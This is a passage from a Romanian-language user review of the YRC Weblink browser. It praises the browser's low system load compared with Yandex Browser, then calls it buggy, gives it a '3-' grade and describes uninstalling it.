Ei bine, ultimul, dar foarte semnificativ plus - YRC Weblink aproape că nu încarcă sistemul! Pentru comparație, am deschis 10 file în el și am deschis 10 file cu aceleași adrese în browserul Yandex (liderul dintre browsere în ceea ce privește încărcarea sistemului) și aceasta este imaginea.

Browser Yandex:

Nu este greu de ghicit că YRC Weblink în acest sens este practic în afara competiției, în sensul bun.


REZUMAT... Dacă toate ideile pe care creatorii au încercat să le implementeze în acest browser ar fi făcute corect, nu ar fi preț pentru el, YRC Weblink ar putea pretinde că este cel mai bun, sau cel puțin unul dintre cele mai bune browsere. Dar cu defectele care se observă la el, nici măcar nu trage de „C”. Ii dau nota 3- .

După testare, dezinstalez browserul - nu este absolut necesar să aveți un astfel de program cu erori pe computer. Ei bine, așteptăm pași suplimentari de la YRC Group Inc. Programatorii indieni vor putea să elimine toate defectele și să lanseze o versiune cu adevărat funcțională a browserului, cinstiți și lăudați-i. Dacă eșuează, vor fi mai mulți în lume cu încă un browser născut mort.